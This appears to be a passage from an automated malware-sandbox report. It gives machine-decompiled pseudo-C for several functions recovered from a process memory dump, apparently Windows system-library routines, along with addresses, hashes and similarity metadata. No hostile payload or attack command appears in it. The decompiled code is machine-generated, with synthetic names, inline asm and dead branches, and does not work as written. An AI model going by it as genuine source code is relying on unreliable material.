				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0xacd360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E009F7D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E00AA8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E00A19E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E00A1B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E00A1CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E009F7D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E00AA8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E00A1AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0xac8628; // 0x0
								_v68 = _t77;
								_t78 =  *0xac862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0xac8628; // 0x0
							_t116 =  *0xac862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x009fb94c
0x009fb956
0x009fb95c
0x009fb95e
0x009fb964
0x009fb969
0x009fb96d
0x009fb96d
0x009fb970
0x009fb974
0x009fb97a
0x009fbadf
0x009fbadf
0x009fbae2
0x009fbae4
0x009fbae6
0x009fbaf0
0x00a42cb8
0x009fbaf6
0x009fbaf6
0x009fbaf6
0x009fbafd
0x009fbb1f
0x009fbb1f
0x009fbaff
0x009fbb00
0x009fbb00
0x009fbb03
0x009fbb03
0x009fbacb
0x009fbacf
0x009fbad0
0x009fbad1
0x009fbadc
0x009fbadc
0x009fb980
0x009fb980
0x009fb988
0x009fb98b
0x009fb98d
0x009fb990
0x009fb993
0x009fb999
0x009fb99b
0x009fb9a1
0x009fb9a5
0x009fb9aa
0x009fb9b0
0x009fb9bb
0x009fb9c0
0x009fb9c3
0x009fb9ca
0x009fb9cc
0x009fb9cf
0x009fb9d3
0x009fb9d7
0x009fba94
0x009fba94
0x009fba98
0x009fbaa3
0x00a42ccb
0x009fbaa9
0x009fbaa9
0x009fbaa9
0x009fbab1
0x00a42cd5
0x00a42cdd
0x00a42cdd
0x009fbabb
0x009fbabc
0x009fbac2
0x009fbac3
0x009fbac3
0x009fbac6
0x00000000
0x009fb9dd
0x009fb9dd
0x009fb9e7
0x009fb9e7
0x009fb9ec
0x009fb9ec
0x009fb9f1
0x009fb9f5
0x009fb9fa
0x009fba00
0x009fba0c
0x009fba10
0x009fba10
0x009fba12
0x009fba18
0x00000000
0x00000000
0x009fbb26
0x009fbb26
0x009fba1e
0x009fba1e
0x009fba23
0x009fba25
0x009fba2c
0x009fba30
0x009fba35
0x009fba35
0x009fba41
0x009fba46
0x009fba4c
0x009fba50
0x009fba54
0x009fba6a
0x009fba6e
0x009fba70
0x009fba74
0x009fba78
0x009fba7a
0x009fba7c
0x009fba8e
0x009fba90
0x009fba92
0x009fbb14
0x009fbb14
0x009fbb16
0x009fbb16
0x00000000
0x009fba7c
0x009fbb0a
0x009fbb0d
0x00000000
0x00000000
0x00000000
0x009fbb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009FB9A5

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: ed2601a08d0feaad68f337195fb19f14a32f8a4fa30e0928c2caca9306995ac0
Instruction ID: fe1d3871d29589b45581f4e22d56ecca65c6de39cb25b6d7119f9ffe681d2f38
Opcode Fuzzy Hash: ed2601a08d0feaad68f337195fb19f14a32f8a4fa30e0928c2caca9306995ac0
Instruction Fuzzy Hash: 42515671A08344CFC720CF29C480A2ABBE9BB88714F65896EF69587355DB74EC40CB92

Uniqueness

Uniqueness Score: -1.00%

Function 009DB171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E009DB171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0xaaf7a8);
				E00A2D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E00A2D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E00A1D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E00A1F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L00A2DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E00A1B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E00A1B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E00A1E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E00A1A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x009db171
0x009db171
0x009db171
0x009db171
0x009db171
0x009db176
0x009db17b
0x009db180
0x009db186
0x009db18f
0x009db198
0x009db1a4
0x009db1aa
0x00a34802
0x00a34802
0x00a34805
0x00a3480c
0x00a3480e
0x009db1d1
0x009db1d3
0x009db1de
0x009db1de
0x00a34817
0x00a3481e
0x00a34820
0x00a34822
0x00a34822
0x00a34824
0x00a34824
0x00a3482a
0x00000000
0x00000000
0x00a34835
0x00a3483a
0x00a3483d
0x00a3483f
0x00a34842
0x00a34842
0x00a34842
0x00a34846
0x00a3484c
0x00a3484e
0x00a34851
0x00a34851
0x00a34853
0x00a34854
0x00a34854
0x00a34858
0x00a3485a
0x00a3485a
0x00a3485d
0x00a3485f
0x00a34861
0x00a34861
0x00a34866
0x00a3486b
0x00a3486e
0x00a34871
0x00a34876
0x00a34876
0x00a34878
0x00a3487b
0x00a34884
0x00a34884
0x00000000
0x00a3487d
0x00a3487d
0x00a34882
0x00a34889
0x00a34889
0x00a3488f
0x00a34891
0x00a348e0
0x00a348e2
0x00a348e4
0x00a348e4
0x00a348e7
0x00a348e7
0x00a348ed
0x00a348f4
0x00a348f6
0x00a34951
0x00a34951
0x00a34953
0x00a34953
0x00a34956
0x00a34956
0x00a34958
0x00a34959
0x00a34959
0x00a3495d
0x00a3495d
0x00a3495f
0x00a3495f
0x00a34965
0x00a34969
0x00a349ba
0x00a349ba
0x00a349c1
0x00a349c5
0x00a349cc
0x00a349d4
0x00a349d7
0x00a349da
0x00a349e4
0x00a349e5
0x00a349f3
0x00a34a02
0x00000000
0x00a34a02
0x00a34972
0x00a34974
0x00000000
0x00000000
0x00a34976
0x00a34979
0x00a34982
0x00a34983
0x00a34984
0x00a3498b
0x00a3498d
0x00a34991
0x00a34993
0x00a34999
0x00a3499d
0x00a349a2
0x00a349a2
0x00a349a2
0x00a34999
0x00a349ac
0x00000000
0x00a349b3
0x00a348f8
0x00a348fe
0x00000000
0x00000000
0x00000000
0x00a348fe
0x00a34895
0x00a3489c
0x00a348ad
0x00a348b2
0x00a348b5
0x00a348b7
0x00a348ba
0x00a348bc
0x00a348c6
0x00a348c6
0x00a348cb
0x00a348d1
0x00a348d4
0x00a348d8
0x00a348d8
0x00000000
0x00a348d8
0x00a348be
0x00a348c0
0x00000000
0x00000000
0x00a348c2
0x00000000
0x00000000
0x00000000
0x00a348c4
0x00000000
0x00a34882
0x00a3487b
0x00a34904
0x00a34906
0x00000000
0x00000000
0x00a34908
0x00a3490e
0x00000000
0x00000000
0x00a34910
0x00a34917
0x00a34917
0x00000000
0x00a34917
0x009db1ba
0x00a347f9
0x00a347fc
0x00000000
0x00000000
0x00000000
0x00a347fc
0x009db1c0
0x009db1c0
0x009db1c3
0x009db1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 00A348AD

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 371f99e180c8584a5eadc81fa3d468d56b3df3ffef85a8d5e715bef2625c0a97
Instruction ID: 24082949564b2eb0618c9d908eddb5e76d683559dfc1406296e873ddd1d6503a
Opcode Fuzzy Hash: 371f99e180c8584a5eadc81fa3d468d56b3df3ffef85a8d5e715bef2625c0a97
Instruction Fuzzy Hash: 8651D071D042698FDF31CF68C945BAEBBB0BF08710F2141ADF859AB282D7746D818B90

Uniqueness

Uniqueness Score: -1.00%

Function 009ED5E0, Relevance: 1.6, Strings: 1, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E009ED5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0xacd360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E009E6600(0xac52d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0xac7b9c; // 0x0
							_t281 = L009F4620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E00A1F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0xac7b90; // 0x770b0000
								if(_t384 == 0) {
									_t353 =  *0xac7b8c; // 0x4a2ae8
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E009F2280(_t200, 0xac84d8);
									_t277 =  *0xac85f4; // 0x4a2fd8
									_t351 =  *0xac85f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x4a2f70
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E009EFFB0(_t287, _t353, 0xac84d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E00A2CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E009E6600(0xac52d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E009E7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0xacb239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E00A5E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0xac8472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														asm("ror edi, cl");
														 *0xacb1e0( &_v192, _t353, _v168, 0, _v180);
														 *( *0xacb218 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E009F2280(_t250, 0xac84d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L00A13898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E009EFFB0(_t293, _t353, 0xac84d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E00A137F5(_t353, 0);
																}
																E00A10413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E00A09B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E00A002D6(_t174);
																}
																L009F77F0( *0xac7b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E00A0C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L009EEC7F(_t353);
										L00A019B8(_t287, 0, _t353, 0);
										_t200 = E009DF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0 || ( *0xacb2f8 |  *0xacb2fc) == 0 || ( *0xacb2e4 & 0x00000001) != 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E00A1B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_v200 = 0;
									if(( *0xacb2ec >> 0x00000008 & 0x00000003) == 3) {
										_t355 = _v168;
										_t342 =  &_v208;
										_t208 = E00A86B68(_v168,  &_v208, _v168, __eflags);
										__eflags = _t208 - 1;
										if(_t208 == 1) {
											goto L46;
										} else {
											__eflags = _v208 & 0x00000010;
											if((_v208 & 0x00000010) == 0) {
												goto L46;
											} else {
												_t342 = 4;
												_t366 = E00A86AEB(_t355, 4,  &_v216);
												__eflags = _t366;
												if(_t366 >= 0) {
													goto L46;
												} else {
													asm("int 0x29");
													_t356 = 0;
													_v44 = 0;
													_t290 = _v52;
													__eflags = 0;
													if(0 == 0) {
														L108:
														_t356 = 0;
														_v44 = 0;
														goto L63;
													} else {
														__eflags = 0;
														if(0 < 0) {
															goto L108;
														}
														L63:
														_v112 = _t356;
														__eflags = _t356;
														if(_t356 == 0) {
															L143:
															_v8 = 0xfffffffe;
															_t211 = 0xc0000089;
														} else {
															_v36 = 0;
															_v60 = 0;
															_v48 = 0;
															_v68 = 0;
															_v44 = _t290 & 0xfffffffc;
															E009EE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
															_t306 = _v68;
															__eflags = _t306;
															if(_t306 == 0) {
																_t216 = 0xc000007b;
																_v36 = 0xc000007b;
																_t307 = _v60;
															} else {
																__eflags = _t290 & 0x00000001;
																if(__eflags == 0) {
																	_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																	__eflags = _t349 - 0x10b;
																	if(_t349 != 0x10b) {
																		__eflags = _t349 - 0x20b;
																		if(_t349 == 0x20b) {
																			goto L102;
																		} else {
																			_t307 = 0;
																			_v48 = 0;
																			_t216 = 0xc000007b;
																			_v36 = 0xc000007b;
																			goto L71;
																		}
																	} else {
																		L102:
																		_t307 =  *(_t306 + 0x50);
																		goto L69;
																	}
																	goto L151;
																} else {
																	_t239 = L009EEAEA(_t290, _t290, _t356, _t366, __eflags);
																	_t307 = _t239;
																	_v60 = _t307;
																	_v48 = _t307;
																	__eflags = _t307;
																	if(_t307 != 0) {
																		L70:
																		_t216 = _v36;
																	} else {
																		_push(_t239);
																		_push(0x14);
																		_push( &_v144);
																		_push(3);
																		_push(_v44);
																		_push(0xffffffff);
																		_t319 = E00A19730();
																		_v36 = _t319;
																		__eflags = _t319;
																		if(_t319 < 0) {
																			_t216 = 0xc000001f;
																			_v36 = 0xc000001f;
																			_t307 = _v60;
																		} else {
																			_t307 = _v132;
																			L69:
																			_v48 = _t307;
																			goto L70;
																		}
																	}
																}
															}
															L71:
															_v72 = _t307;
															_v84 = _t216;
															__eflags = _t216 - 0xc000007b;
															if(_t216 == 0xc000007b) {
																L150:
																_v8 = 0xfffffffe;
																_t211 = 0xc000007b;
															} else {
																_t344 = _t290 & 0xfffffffc;
																_v76 = _t344;
																__eflags = _v40 - _t344;
																if(_v40 <= _t344) {
																	goto L150;
																} else {
																	__eflags = _t307;
																	if(_t307 == 0) {
																		L75:
																		_t217 = 0;
																		_v104 = 0;
																		__eflags = _t366;
																		if(_t366 != 0) {
																			__eflags = _t290 & 0x00000001;
																			if((_t290 & 0x00000001) != 0) {
																				_t217 = 1;
																				_v104 = 1;
																			}
																			_t290 = _v44;
